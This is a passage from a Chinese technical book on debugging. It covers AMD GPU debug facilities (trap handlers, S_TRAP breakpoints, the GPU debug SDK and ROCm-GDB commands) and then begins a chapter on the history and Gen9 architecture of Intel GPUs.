寄存器的TRAP_EN = 1。这是为了确保软件已经准备好了异常处理程
序。
10.9.2 控制方法
对于运行在CPU上的调试器来说,只能通过间接的方法来控制
MODE寄存器的DEBUG位。有几种方式可以实现这个目标。
第一种方法是使用前面介绍过的波阵控制接口,操作码部分指定
HSA_DBG_WAVEOP_DEBUG(值为4)。这种方法比较简单,而且对
于用户空间的调试器有开源的驱动程序支持和封装好的IOCTL接口。
第二种方法是在陷阱处理程序中修改寄存器上下文中的MODE寄存
器部分。在amdkfd驱动中,包含有关的一些支持,包括一个包含汇编源
代码的陷阱处理程序,源文件名为cwsr_trap_handler_gfx8.asm,还有把
陷阱处理函数的代码复制到GPU空间并进行设置的代码。另外,还公开
了IOCTL接口给用户态来进行定制。
以下是amdkfd驱动中的初始化代码。
static void kfd_cwsr_init(struct kfd_dev *kfd)
{
if (cwsr_enable && kfd->device_info->supports_cwsr) {
BUILD_BUG_ON(sizeof(cwsr_trap_gfx8_hex) > PAGE_SIZE);
kfd->cwsr_isa = cwsr_trap_gfx8_hex;
kfd->cwsr_isa_size = sizeof(cwsr_trap_gfx8_hex);
kfd->cwsr_enabled = true;
}
}
其中,cwsr是Computer Context Save Restore的缩写[15],是这个陷阱
处理程序的名字。
当发生异常时,CWSR会把寄存器状态复制到内存中,主要执行
s_getreg_b32指令把寄存器读取到内存中,比如下面是操作MODE寄存
器的部分。
s_getreg_b32 s_save_m0, hwreg(HW_REG_MODE)
当恢复上下文时,会执行如下s_setreg_b32指令来恢复寄存器。
s_setreg_b32 hwreg(HW_REG_MODE), s_restore_mode
第三种方法是通过MMIO寄存器接口,在算核函数的设置中,启用
调试模式。比如在SPI_SHADER_PGM_RSRC1_VS 寄存器中,第22位即
为DEBUG_MODE,该位的作用是在启动波阵时打开调试模式。类似这
样的寄存器有多个,但是公开文档(名为3D寄存器的系列文档)中的
介绍都比较简略。
10.10 根据调试条件实现分支跳转的指令
在GCN中,还设计了一种根据调试条件实现分支跳转的机制。
10.10.1 两个条件标志
在GCN的状态寄存器(STATUS)中,有两个称为条件调试指示符
的位,名字分别叫COND_DBG_USER(第20位)和
COND_DBG_SYS(第21位)。前者用来指示是否处于用户调试模式,
后者用来指示是否处于系统调试模式。
10.10.2 4条指令
与上述两个条件相配套,GCN配备了如下4条条件分支指令。
s_cbranch_cdbgsys src0
s_cbranch_cdbgsys_and_user src0
s_cbranch_cdbgsys_or_user src0
s_cbranch_cdbguser src0
简单说,这4条指令就根据状态寄存器的COND_DBG_USER和
COND_DBG_SYS来实现分支跳转。以第1条指令为例,其内部逻辑如
下。
if(COND_DBG_SYS != 0) then
PC = PC + signext(SIMM16 * 4) + 4;
endif.
其中,SIMM16代表指令中的立即数部分。类似地,其他三条指令
的判断条件为:(COND_DBG_USER != 0)、 (COND_DBG_SYS ||
COND_DBG_USER)和(COND_DBG_SYS && COND_DBG_USER) 。
在公开的文档中,没有介绍上述设施的详细用法。在开源的驱动
中,目前也没有使用这个机制。一种可能的应用场景是在指令级别动态
选择执行调试逻辑,比如函数开头和结尾的动态采样与追踪等。
10.11 代码断点
代码断点(code breakpoint)是指设置在代码空间中的断点,比如
在源代码或者汇编代码中的断点。代码断点一般是基于软件指令的,比
如在x86 CPU中,著名的INT 3指令是设置软件断点的常用方法。
10.11.1 陷阱指令
在GCN的指令集中,没有专门的断点指令。但是有一条触发陷阱的
陷阱指令S_TRAP。
S_TRAP指令的格式就是在10.4节中介绍的SOPP格式(见图10-
5)。其操作码为18。图10-9画出了S_TRAP指令的机器码。
图10-9 S_TRAP指令的机器码
S_TRAP指令的长度是一个DWORD(32位),其中,低16位为立
即数,用来指示陷阱号(TRAP_ID)。因为高位部分是固定的,所以
S_TRAP指令的机器码总是0xBF92xxxx这样的编码。
10.11.2 在GPU调试SDK中的使用
与Nvidia的GPU调试SDK类似,AMD也有GPU 调试SDK供开发者
使用,这将在下一节详细介绍。调试SDK中有设置代码断点的函数接
口,名称和原型如下。
HwDbgStatus HwDbgCreateCodeBreakpoint(HwDbgContextHandle hDebugContext, co
nst HwDbgCodeAddress codeAddress, HwDbgCodeBreakpointHandle *pBreakpointOu
t);
那么这个API在内部基于刚才介绍的S_TRAP指令来设置代码断点
吗?
坦率说,作者第一次看到S_TRAP指令就觉得亲切,觉得可以用来
实现断点功能。但是官方SDK中是否真的使用这个指令?还是另有妙方
呢?
GPU调试SDK包含一部分源代码,但是大部分核心函数都是二进制
形式,上面的函数也是如此。这一点和Nvidia的做法也一样。
没有详细文档描述,也没有源代码求证,把推测写进书里让作者很
不安。
老雷评点
君子戒慎乎其所不睹,恐惧乎其所不闻。
无奈中作者想到了反汇编。请出著名的IDA工具,找到
HwDbgCreateCodeBreakpoint函数,顺着IDA呈现的调用路线追溯,很快
找到最终执行实际断点设置和恢复的是下面这个方法。
bool HwDbgBreakpoint::Set(HwDbgBreakpoint *const this, bool enable)
在这个函数内部,看到多处0xBFxxxxxx这样的“身影”。
cmp eax, 0BF800000h
cmp eax, 0BF920000h
其中,第1行是S_NOP指令的机器码,第2行就是S_TRAP指令的机
器码。特别地,下面这几条指令让人如释重负。
.text: 002017A8 mov edx, 0BF920007h
.text: 002017AD mov rax, [rdi]
.text: 002017B0 call qword ptr [rax+18h]
其中,0BF920007h用于触发TRAP_ID为7的陷阱。结合下面的常量
定义,可以确定无疑,官方调试SDK中设置代码断点的方法就是使用
S_TRAP指令,更确切地说,是S_TRAP 0x7。这与INT 3非常相似。
var TRAP_ID_DEBUGGER = 0x07
10.12 GPU调试模型和开发套件
为了让开发者能够更容易地使用GPU的调试功能,AMD在GitHub
上提供了半开源的GPU调试SDK。初期的版本是HSAFoundation的项目
[12],后来转移为ROCm的项目[13]。两个项目目前都只支持Linux系统,
不支持Windows系统,而且都有定制过的GDB公开。下面首先对新的
ROCm版本SDK做简单介绍,然后介绍从CPU上调试GPU程序的交叉调
试模型。
10.12.1 组成
整个SDK包含如下几个部分。
4个头文件,其中的AMDGPUDebug.h是核心,里面定义了SDK输
出的主要API。另外几个头文件都是关于ELF的。ELF是Linux下常
用的可执行文件格式,包括AMD在内的多家GPU厂商都复用ELF文
件来承载GPU程序的代码和符号信息。
一个动态库文件,libAMDGPUDebugHSA-x64.so,大小大约是
18MB,是与GPU硬件交互的核心调试模块,简称DBE(作者认为
这是调试引擎之简称)。这个文件中包含了调试符号,但没有源代
码,是闭源的。
一个静态库文件,libelf.a,它是ELF有关函数的实现。
少量的源代码,源程序目录(src)下包含三个子目录,分别是
HSADebugAgent、HwDbgFacilities和DynamicLibraryModule。第一
个是所谓的调试主体模块(Debug Agent),后文会再介绍。
一个文档,是由Doxygen根据源代码中的注释产生的。
目前,闭源的DBE模块只有x64版本,这意味着整个SDK不支持32
位操作系统。
10.12.2 进程内调试模型
在当前的软件架构中,要让GPU执行任务,必须在CPU端有个宿主
(Host)进程。在调试时,上面提到的DBE模块必须运行在这个宿主进
程中,因此AMD把这种调试方式称为进程内调试模型。其实,相对于
CPU上启动算核函数的代码来说,该模型是进程内调试模型,对于实际
被调试且运行在GPU上的算核函数来说,该模型并不是进程内调试模
型。图10-10画出了从CPU上调试GPU程序时的多方协作模型。
图10-10左侧是CPU和CPU端的软件,横线上方是用户空间,左边
是调试器进程,内部有针对GPU程序的特别逻辑,这些逻辑向调试器的
顶层模块报告一个GPU程序目标,并提供访问GPU程序的接口。在被调
试进程中,GPU程序的宿主代码在初始化HSA运行时库期间会触发加载
GPU调试主体(Debug Agent)模块,后者会加载GPU调试核心模块
(DBE),其过程如清单10-3所示。
图10-10 GPU调试模型
清单10-3 加载GPU调试核心模块
#0 HwDbgInit (pApiTable=0x7ffff7dd5f20) at
/home/jenkins/workspace/HwDebug-Linux-DBE/HWDebugger/Src/HwDbgHSA/HwDb
gHSA.cpp:154
#1 0x00007ffff3cdc037 in OnLoad (pTable=0x7ffff7dd5f20, runtimeVersion=1,
failedToolCount=0,
pFailedToolNames=0x0) at HSADebugAgent.cpp:507
#2 0x00007ffff7b6dc23 in ?? () from /opt/rocm/hsa/lib/libhsa-runtime64.so
.1
#3 0x00007ffff7b6e425 in ?? () from /opt/rocm/hsa/lib/libhsa-runtime64.so
.1
#4 0x00007ffff7b54d2a in ?? () from /opt/rocm/hsa/lib/libhsa-runtime64.so
.1
#5 0x0000000000403635 in AMDT::HSAResourceManager::InitRuntime (verbosePr
int=true,
gpuIndex=0)
at ../Common/HSAResourceManager.cpp:80
#6 0x000000000040df84 in RunTest (doVerify=false) at MatrixMul.cpp:76
#7 0x000000000040deeb in main (argc=1, argv=0x7fffffffdbf8) at MatrixMul.
cpp:65
在清单10-3中,栈帧#5实现在调试主体中的初始化函数,其内部会
调用hsa_init函数,进入HSA的运行模块libhsa-runtime64。
在准备调试时,应该将调试SDK和调试主体模块的路径放在
LD_LIBRARY_PATH环境变量中。在用于启动GDB调试器的rocm-gdb
脚本文件中,定义了另一个环境变量HSA_TOOLS_LIB,它指定了调试
主体的模块名和运行时工具模块的名字。下面是rocm-gdb脚本中的有关
命令。
export HSA_TOOLS_LIB="libhsa-runtime-tools64.so.1 libAMDHSADebugAgent-x64.
so"
被调试程序启动后,HSA运行时会根据上述环境变量加载调试主体
模块,后者调用HwDbgInit API初始化GPU调试核心模块(DBE)。
DBE模块内部会通过IOCTL接口与内核空间中的AMDKFD驱动建
立联系。后者通过MMIO和中断接口与GPU硬件通信。
在GPU的地址空间中,算核函数运行在低特权模式,遇到断点或者
发生异常后,会进入高特权的陷阱处理程序并执行。陷阱处理程序内部
集成了调试支持,会把GPU的异常信息报告给amdkfd驱动,后者再转给
用户空间的DBE模块。
调试器进程和调试主体之间的通信方式可以有多种,调试SDK中实
现了一种基于共享内存的双向通信设施,因为使用了先进先出的队列,
所以在代码中简称为FIFO。以下是两个FIFO文件的名字。
const char gs_AgentToGdbFifoName[] = "fifo-agent-w-gdb-r";
const char gs_GdbToAgentFifoName[] = "fifo-gdb-w-agent-r";
第一个FIFO供调试主体写,供调试器(GDB)读;后一个供调试
器写,供调试主体读。
10.12.3 面向事件的调试接口
AMD的GPU调试API与Windows操作系统的调试API有些相似,也
是面向调试事件的设计模式。用于等待调试事件的函数如下。
HwDbgStatus HwDbgWaitForEvent(HwDbgContextHandle hDebugContext,
const uint32_t timeout,
HwDbgEventType* pEventTypeOut);
第一个参数是调用HwDbgBeginDebugContext开始调试时得到的句
柄。第二个参数是最长等待时间(毫秒数)。第三个参数是等待到的事
件结果,其定义为如下枚举常量。
typedef enum
{
HWDBG_EVENT_INVALID = 0x0, /**< an invalid event */
HWDBG_EVENT_TIMEOUT = 0x1, /**< has reached the user timeout value */
HWDBG_EVENT_POST_BREAKPOINT = 0x2, /**< has reached a breakpoint */
HWDBG_EVENT_END_DEBUGGING = 0x3, /**< has completed kernel execution */
} HwDbgEventType;
处理调试事件后,调试器端应该调用如下函数来恢复目标执行。
HwDbgStatus HwDbgContinueEvent(HwDbgContextHandle hDebugContext, const HwD
bgCommand command);
第二个参数是要执行的命令,目前仅定义了
HWDBG_COMMAND_CONTINUE一种。
typedef enum
{
HWDBG_COMMAND_CONTINUE = 0x0, /**< resume the device execution */
} HwDbgCommand;
在开源的调试主体程序中对上述 C 语言形式的函数接口做了封装,
使其成为面向对象的C++接口。
10.13 ROCm-GDB
在Windows平台上,CodeXL是AMD精心打造的开发工具,既可以
以插件的形式工作在Visual Studio中,也可以独立运行。在Linux平台
上,ROCm-GDB是AMD基于GDB定制开发的GPU调试器。ROCm-GDB
和CodeXL都使用了上一节介绍的调试SDK。
10.13.1 源代码
ROCm-GDB的前端代码(图10-9中的调试器进程)是开源的[14]。
新增的文件大多位于ROCm-GDB/gdb-7.11/gdb子目录下,名字以rocm开
头。比如,rocm-breakpoint.c用于处理各类与断点有关的任务,rocm-
dbginfo.c用于处理符号信息,rocm-cmd.c用于处理新增的命令,rocm-
fifo-control.c是与被调试进程内的调试主体模块通信的,rocm-gdb和
rocm-gdb-local是两个脚本文件,rocm-thread.c用于处理与线程有关的命
令,比如用于切换当前线程的rocm thread wg:<x,y,z> wi:<x,y,z>命令。
此外,还有rocm-segment-loader.c,它用于维护GPU程序的加载情况和
段信息。
10.13.2 安装和编译
在使用ROCm-GDB前,需要先安装ROCm基础环境。这有两种方
法,一种是从AMD公开的软件仓库服务器下载编译好的二进制文件并
安装,另一种方法是下载源程序自己编译和安装。前一种方法比较简
单,但是如果使用的环境不匹配则可能失败。作者在Ubuntu 18.04环境
下安装时,在编译内核模块时出错,在Ubuntu 16.04环境下安装很顺
利。安装好的文件位于/opt/rocm目录下。
安装好ROCm基础环境后,接下来应该下载和编译GPU调试SDK,
然后再编译ROCm- GDB。GitHub站点上的构建指导写得还算详细,本
书不再详述。
为了能够在算核函数中设置断点,在编译算核函数时,应该使用如
下选项。
BUILD_WITH_LIB BRIGDWARF=1
其中,BRIG代表HSA中间语言的二进制格式,DWARF是Linux平
台上流行的符号格式,目前普遍为各种GPU程序所使用。
10.13.3 常用命令
表10-1列出了ROCm-GDB的新增命令。
表10-1 ROCm-GDB的新增命令
命 令
描 述
rocm thread 切换GPU线程和工作项,完整格式为rocm thread wg:<x,y,z> wi:<x,y,z>
break rocm
每次分发(dispatch)算核函数时都中断到调试器,也可以指定算核函
数名字(break rocm:<kernel_name>),于是,当其开始执行时中断;或
者指定行号(break rocm:<line_number>)设置算核程序的源代码断点
disassemble 反汇编当前的算核函数
print rocm:
输出算核函数中的变量,完整格式为:print rocm:<variable>
set rocm
trace
打开或者关闭(后跟on或者off)GPU分发算核函数时的追踪信息,也可
以指定文件名(set rocm trace <filename>)将信息写入文件
set rocm
logging
打开或者关闭调试主体和DBE内部的日志,完整格式为set rocm logging
[on|off],日志的输出目标可以是标准输出或者文件
set rocm
show-isa
控制是否把算核函数的指令(ISA)写入临时文件(temp_isa)
info rocm
devices
观察GPU设备信息
info rocm
kernels
输出当前的所有算核函数
info rocm
kernel
输出指定算核的信息
info rocm
wgs
显示当前所有工作组的信息
info rocm
wg
显示指定工作组的信息,完整格式为info rocm [work-group|wg]
[<flattened_id>|<x,y,z>]
info rocm
wis
显示当前所有工作项的信息
info rocm
wi
显示指定工作项的信息,完整格式为info rocm [work-item|wi] <x,y,z>
show rocm
显示以上通过set命令设置的各种配置选项的当前值
因为ROCm-GDB和调试主体都是开源的,所以结合源代码来学习
ROCm-GDB是一种很好的方法。
10.14 本章小结
本章从AMD显卡的简要历史讲起,前半部分介绍了AMD GPU的微
架构、指令集和编程模型。中间部分从AMD GPU的异常和陷阱机制入
手,介绍了AMD GPU的调试设施,包括波阵控制、地址监视、单步调
试、代码断点等。最后两节介绍了交叉调试模型、GPU调试SDK和
ROCm-GDB调试器。
AMD公司创建于1969年,比英特尔只晚一年。在X86 CPU辉煌的
时代,AMD一直扮演着小弟的角色,虽然偶尔有出色的表现,但是始
终难以扭转大局。随着GPU时代的到来,多年不变的局面开始改变。在
GPU领域,AMD显然走在了英特尔前头。这不但体现在硬件方面,而
且体现在软件和生态系统方面。经过多年的不懈努力,AMD主导的异
构系统架构(HSA)已从最初的构想,逐步成为标准和现实。最近几年
研发的ROCm软件栈也快速发展,有与CUDA争雄之势。
参考资料
[1] 2007 Hot Chips 19 AMD’s Radeon™ HD 2900.
[2] AMD GRAPHIC CORE NEXT Low Power High Performance
Graphics & Parallel Compute.
[3] HSA Programmer's Reference Manual: HSAIL Virtual ISA and
Programming Model, Compiler Writer, and Object Format (BRIG).
[4] AMD GRAPHICS CORES NEXT (GCN) ARCHITECTURE
White Paper.
[5] Developer Guides, Manuals & ISA Documents.
[6] AMD's Revolutionary Mantle Graphics API.
[7] Mantle Programming Guide and API Reference.
[8] HSA Foundation Members.
[9] HSA Foundation Launches New Era of Pervasive, Energy-
Efficient Computing with HSA 1.0 Specification Release.
[10] ROCm: Platform for GPU Enabled HPC and UltraScale
Computing.
[11] ROCm Developer Tools and Programing Languages.
[12] HSAFoundation项目中的AMD GPU调试SDK.
[13] ROCm项目中的AMD GPU调试SDK.
[14] ROCm-GDB项目.
[15] AMD GPU的在线讨论.
第11章 英特尔GPU及其调试设施
本章首先简要介绍英特尔GPU的发展历史和硬件结构,然后详细讨
论GPU的多种编程接口,既有传统的MMIO寄存器接口、命令流和环形
缓冲区接口,也有新的通过GuC微处理器提交任务的接口,以及适合多
任务的状态模型接口。11.8节~11.10节重点介绍英特尔GPU的指令集、
内存管理和异常机制。11.11节~11.13节详细介绍英特尔GPU的调试设
施,包括断点支持、单步机制以及GT调试器。
11.1 演进简史
英特尔在20世纪90年代末加入到显卡领域的竞争,20多年里,其产
品形态经历了三个主要阶段。最初是AGP总线接口的独立显卡,然后是
集成在芯片组中的集成显卡,再后来是与CPU集成在同一个芯片中的
GPU。
11.1.1 i740
1998年,英特尔公司推出它的第一款显卡产品,名为英特尔740,
简称i740。与当时的其他显卡相比,i740的最大特色是使用了专门为显
卡设计的AGP总线。AGP的全称是“加速图形端口”(Accelerated
Graphics Port),是专门为显卡设备量身定制的总线接口。当时的主流
显卡大多用的是PCI总线。PCI总线的特点是供系统中的多个设备共用,
而AGP总线仅供显卡专用。
因为英特尔在PC产业的独特地位,所以它的显卡产品一推出,便
广受关注。作者还记得,当年不少玩家抱怨i740的驱动程序很难装。这
个容易被忽视的细节或许反映了英特尔显卡一直都有的大问题。
老雷评点
此处用隐笔。
11.1.2 集成显卡
虽然备受瞩目,但是i740的实际表现不如预期的那样好。1999年,
第一款集成了显卡功能的英特尔芯片组问世,名为i810。从此,英特尔
把显卡产品的重心放在集成显卡上,集成显卡的时代开始了。英特尔第
一次在独立显卡方面的努力以i740的昙花一现而结束。
当年的芯片组是经典的南北桥双芯片架构,南桥负责容纳和连接各
种低速设备,称为ICH(I/O Controller Hub)。北桥负责连接内存和高
速设备,本来称为MCH(Memory Controller Hub),集成了显卡后改称
为GMCH。
考虑到市场需求的不同,对于某一代芯片组,有的产品可能带有集
成显卡,有的可能不带。在英特尔的芯片组产品命名规则中,对于带有
集成显卡的芯片组,其产品代号末尾会有字母G,比如815G。这种命名
方法从2000年起开始使用,持续了很多年。2007年左右,开始使用类似
82GME965这样的命名方法,其中的G也代表包含集成显卡,M代表针
对移动平台(笔记本电脑)设计。
从82810开始的英特尔集成显卡一直延续着一些基本的特征,同
时,也在不断加入新的功能,一代代地向前发展。大约从2005年开始,
这一系列显卡有了一个统一的名字,叫GenX。其中Gen为 Generation的
缩写,X表示版本号。最早使用这种称呼的是2005年发布的82915G芯片
组(简称915)。直到今天,包含在Linux内核源代码包中的英特尔显卡
开源驱动程序仍使用着它的名字(drivers\gpu\drm\i915)。915称为
Gen3,向前追随,第一代集成显卡i810称为Gen0。表11-1归纳了集成在
芯片组中的Gen系列显卡的主要产品。
表11-1 集成在芯片组中的Gen系列显卡
架构
名
代 号
主 要 产 品
发布年
份
说 明
Gen0
Whitney 和Solano
82810/82815G
1999
—
Gen1
Almador
82830GM
2001
—
Gen1.5 Montara
82852GM和
82855GM
2004
针对移动平台的产品
Gen2
Brookdale
82845G
2002
—
Gen2.5 Springdale
82865G
2003
—
Gen3
Grantsdale 和
Alviso
82915G和
82915GM
2004
引入了像素着色器和双独立
显示器
Gen3.5 Lakeport 和
Calistoga
82945G和
82945GM
2005
—
Gen4
Broadwater 和
Crestline
82G965和
GME965
2006
引入可编程核心和顶点着色
器支持
在表11-1中,有多个单元格中都包含两项,这是因为在研发某一代
产品时,要把一套核心设计应用在多个目标市场,比如Gen3中,
Grantsdale是针对桌面平台的,而Alviso是针对移动平台的。另外表格中
的数据主要来自维基百科[1],个别产品的发布时间可能和英特尔产品官
网上的时间略有差别。
11.1.3 G965
表11-1中所列的82G965(简称G965)集成显卡值得特别介绍。它
最关键的特征是引入了通用的可编程执行单元(Execution Unit,
EU),代表着英特尔GPU历史中的一个重要里程碑。G965的发布时间
为2006年6月,同年7月英特尔发布了一份白皮书,介绍新的图形架构,
书名为《英特尔下一代集成图形架构——英特尔图形和媒体加速器
X3000和3000》(Intel’s Next Generation Integrated Graphics Architecture
—Intel® Graphics Media Accelerator X3000 and 3000),副书名是G965图
形技术的正式产品名称——GMA X3000和GMA 3000。准确地说,G965
是芯片组的名字,GMA 3000是其中的图形(集成显卡)部分。不过,
人们习惯了用G965这个名字来称呼它内部的集成显卡。
图11-1是来自G965白皮书的插图,用于描述G965引入的新集成显
卡架构,其中间部分画出了8个通用执行单元,其两侧的部分代表固定
功能单元(Fixed Function Unit,FFU),这种EU + FFU的混合设计在今
天看来已经很普通,但是在当时是很新颖的。值得强调的是,Nvidia
G80也是同一年发布的,正式发布时间为2006年11月8日。二者比较,
G965的推出时间还比Nvidia的G80早5个月。因此,英特尔在白皮书的副
书名中将G965称为“突破性的混合架构”(Ground breaking hybrid
architecture),也是当之无愧的。可以推测,G965和G80的研发时间大
体在相同的时候,二者的基本设计思想也有很多相同的地方,发布时间
也在同一年。令人唏嘘的是,二者的“命运”有天壤之别。G80地位显
赫,而G965渐渐不为人所知。
图11-1 G965引入的INTEL图形架构[2]
11.1.4 Larabee
在2008年的SIGGRAPH大会上,英特尔首次公开了正在研发中的独
立GPU架构,也就是著名的Larabee项目。该项目的目标是与Nvidia和
AMD竞争独立显卡的市场。这是英特尔在i740产品发布10年后第二次尝
试进入独立显卡领域,很多人都对其充满期待。可惜一年后,人们等到
的不是Larabee的发布,而是项目的取消。与之相伴的另一个坏消息是
IA架构的一位灵魂人物Pat Gelsinger离开英特尔。在英特尔,广泛流传
着Pat的励志故事。他18岁便从宾夕法尼亚州的一所两年制技术学校毕
业,到英特尔工厂工作。他最初的职位是生产线上的技术工人
(technician)。年轻的Pat一边工作,一边学习本科课程,一心想成为
一名工程师,后来他参与了IA历史上多个重要产品的研发工作,并成为
英特尔的CTO。2009年,可能因为与Larabee项目有关的问题,他离开
了英特尔。Pat是IA平台的经典图书《80386编程》(《Programming the
80386》)的作者之一。著名的英特尔开发者大会(IDF)也由Pat创
立。
老雷评点
2010年的IDF上,曾有参会观众问:“Where is Pat?”IDF于
2017年停办,想来让人一叹。
11.1.5 GPU
2010年1月,在一年一度的消费电子展上,英特尔发布了包含集成
显卡(GPU)的处理器芯片。这款芯片内部实际上封装了两块晶片,一
块是Westmere微架构的CPU,另一块是代号为Ironlake的GPU和内存控
制器。从此,传统的CPU + MCH + ICH的三芯片架构演变成了CPU +
PCH的双芯片架构。传统的北桥芯片消失了,它的大部分功能向上移入
到CPU当中,小部分功能向下移入到南桥中,新的南桥也有了一个新的
名字,叫PCH,全称为平台控制器中继器(Platform Controller Hub)。
在市场方面,集成到CPU中的新“显卡”也有了一个新的名字——
Intel HD Graphics,其中HD是High Definition的缩写。在英特尔内部,通
常把新的图形部分叫处理器图形(单元)(Processor Graphics),简称
pGraphics,或者pGfx。
图11-2是Sky Lake处理器(酷睿i7 6700K)的芯片快照[3],中间是4
个CPU内核,左侧是集成的内存控制器、显示控制器和I/O接口,右侧
便是处理器GPU。可以看到,GPU所占的芯片面积在2/5左右,这反映
了GPU的重要性。
图11-2 Sky Lake处理器(酷睿i7 6700K)的芯片快照[3]
乔迁之后,GEN架构的GPU开始了新的发展历程,表11-2归纳了这
一阶段的Gen架构GPU概况。
表11-2 GEN架构的GPU
架 构 名
代 号
发 布 年 份
说 明
Gen5
Ironlake
2010
集成到CPU中的第一代GEN GPU
Gen6
Sandy Bridge
2011
—
Gen7
Ivy Bridge
2012
—
Gen7.5
Haswell
2013
—
Gen8
Broadwell
2014
—
Gen8LP
Cherryview和Braswell
2015
低功耗设计
Gen9
Sky Lake
2015
—
Gen9LP
Apollo Lake
2016
低功耗设计
Gen9.5
Kaby Lake
2017
—
在表11-2中,LP代表低功耗设计(Low Power),这些GPU是针对
平板电脑和手机等超移动(ultra mobile)设备而定制的,集成在英特尔
的SoC产品中。早期SoC产品基于Imagination公司的PowerVR GPU设
计,后来的产品大多数基于自己的Gen GPU进行裁剪定制。
11.1.6 第三轮努力
2017年,曾在AMD负责GPU业务的高管加入英特尔,领军高端图
形部门——Core and Visual Computing Group(CVCG)。CVCG的目标
是研发计算能力超过500 TFLOPS的独立GPU。时隔Larabee项目大约十
年后,英特尔开始新一轮向高端GPU领域的冲击。
11.1.7 公开文档
很长一段时间里,英特尔GPU的技术文档是很敏感的保密信息,不
对外公开,其中一些底层文档,即使是公司内部员工也要申请才能访
问。但从2008年开始,英特尔开始公开GPU的底层文档,而且公开的力
度越来越大,不但文档内容的覆盖面越来越广,而且针对的GPU产品也
越来越新。公开的主要窗口是英特尔的开源技术中心网站,公开的文档
统称为《程序员参考手册》(Programmer’s Reference Manuals,
PRM)[4]。
PRM涵盖了从G965(Gen4)开始到Kaby Lake(Gen9.5)的大多数
GEN架构GPU,既有普通的桌面版本,也有低功耗版本。
虽然这些手册是内部文档的裁剪版本,但是其篇幅仍然很大。刚开
始接触,可能不知从何读起。为了帮助读者阅读,下面简要介绍PRM文
档的组织结构。
首先,从Gen4到Gen7的文档都分为4卷。卷1为全局介绍,名为图
形基础(Graphics Core),主要内容为GEN GPU的基本结构、寄存器、
编程环境等;卷2名为3D和媒体(3D/Media),介绍3D流水线以及与视
频编解码有关的功能;卷3名为显示寄存器(Display Registers),介绍
传统的显示功能;卷4名为通用计算子系统和核心(Subsystem and
Cores),篇幅很大,包含了通用执行单元的诸多细节。
从HASWELL(Gen7.5)开始的PRM卷数大大增加,以Sky Lake为
例,它一共分为16卷。卷1为序言;卷2为命令参考(Command
Reference),分5个部分介绍GPU命令、寄存器和数据结构;卷3为GPU
概览;卷4为不同产品的资源配备情况;卷5为内存视图(Memory
Views);卷6介绍命令流处理器(Command Streamer)的编程接口;卷
7的篇幅非常大(900多页),涵盖3D、视频编解码和GPGPU三大主
题,侧重介绍通用执行单元,与老的卷4内容相似;卷8介绍视频解码流
水线的用法;卷9介绍编码流水线的用法;卷10介绍HEVC编码器的用
法;卷11介绍图块传输(Bit Block Image Transfer)引擎和2D图像处
理;卷12显示(Display)方面的内容;卷13为MMIO;卷14为可观察
性,介绍性能监视机制;卷15介绍标量和格式转换器(Scalar and
Format Converter,SFC);卷16介绍绕过已知设计缺陷的方法。
11.2 GEN微架构
从1999年发布的i810开始,GEN架构的GPU已经发展了近20年。因
为与英特尔芯片组和CPU集成,所以GEN GPU的累计发布数量极其巨
大,是PC市场中发布数量最多的GPU。
老雷评点
移动市场中,有ARM之Mali抢得此位,下一章探讨相关内
容。
在这么长的发展过程中,GEN架构经历了十余代的演进,从与芯片
组集成发展到与CPU集成,所支持的功能也在不断增加。但是它一直保
持着很多特色,本节以Sky Lake所包含的Gen9为例简要介绍GEN架构的
基本特征。
首先声明,本节使用的插图都来自英特尔公开的文档,除了上一节
提到的PRM外,主要还有2015年8月公布的技术白皮书《英特尔第9代处
理器图形单元的计算架构》(The Compute Architecture of Intel Processor
Graphics Gen9)[3]。该白皮书的部分内容曾在2015年3月的Windows硬
件工程大会(WinHEC)上以专题演讲的形式公开过[5],由英特尔VPG
部门的一位首席工程师主讲。
老雷评点
台下听者寥寥,与Nvidia会场的座无虚席形成鲜明对比,令
当时在台下听讲的老雷心中五味杂陈。
11.2.1 总体架构
与AMD的APU架构类似,Gen9 GPU和CPU内核处在同一块芯片
中,如图11-3所示。
图11-3 Sky Lake处理器(酷睿i7 6700K)的内部结构[3]
图11-3与图11-2描述的是同一款芯片,前者是内部的逻辑结构,后
者是实际的芯片照片。在图11-3中,GPU、CPU两类执行引擎以环形互
联(ring interconnect)的方式与内存控制器和外部总线(PCIe)连接在
一起。图中画了两个内存控制器,一个是普通的内存控制器,用于访问
普通内存(DDR),也就是系统的主内存,另一个用于访问高速的
EDRAM,是专门给GPU用的,相当于独立显卡的显存。EDRAM与CPU
和GPU芯片是封装在一个芯片(外壳)中的,但不是一个晶片(die)
中。EDRAM是可选的(optional)功能,只在以Iris为商标的高端产品
中才有。对于Sky Lake,EDRAM的容量有64MB和128MB两种。
为了使设计模块化,灵活满足不同的用户需求,Gen GPU内以片区
(slice)和子片(subslice)为单位来组织计算资源,与Nvidia GPU的
SM和块区(block)类似。简单来说,在Gen9中,每8个EU组成一个子
片,每3个子片组成一个片区,如图11-4所示。
图11-4中,最左侧的部分是不分片的,包含全局的命令流处理器
(command streamer)、全局线程分发器(thread dispatcher)和多个固
定功能(Fixed Function,FF)单元。固定功能单元分别用于媒体
(media)处理和2D/3D应用(几何流水线)。相对于可以灵活配置的分
片部分,该部分是相对固定的,称为“不可分片区”(unslice)。这个名
字与CPU中的Uncore类似,Uncore是相对于“核”(Core)而言的,用于
支持Core。为了沟通方便,通常把包含一个片区的GEN GPU简称为
GT2。把因生产瑕疵或者为低功耗设计而裁剪,资源数小于一个片区的
产品叫GT1。把有两个的产品叫GT3或者GT3e,把3个片区的产品叫
GT4e,其中带有e的型号表示配有eDRAM,是更高端的配置。Gen9最
多支持包含3个片区,有72个EU。
举例来说,作者写作本书时使用的DELL笔记本电脑,配备的是
Kaby Lake的CPU(i5 7200U),其中包含的GPU是GT2,商标为HD
620,内部配备了一个片区,共有24个EU。
在专门用于服务器市场的可视计算加速器(Visual Compute
Accelerator,VCA)产品中,配备的都是高端的GEN GPU。比如,在
VCA 1585LMV(MV为Monte Vista的缩写,是产品代号)中,在一块以
PCIe形式设计的卡上,部署了3块至强E3 1585L CPU。其中,每块CPU
内包含一个Iris Pro P580型号的GPU,每个GPU都是高端的GT4e配置,
有72个EU和128MB专用显存(eDRAM)。这意味着,整块卡的EU总数
多达216个。[6]
图11-4 分片设计
11.2.2 片区布局
图11-5画出了Gen9 GPU中每个片区的布局。中间主体部分是三个
子片,余下部分为三个子片共享的资源,即图11-4中所称的片区公共部
分(Slice Common)。
图11-5 Gen9 GPU中每个片区的布局
图11-5下方特别画出了第3级数据缓存(L3 data cache)。其容量为
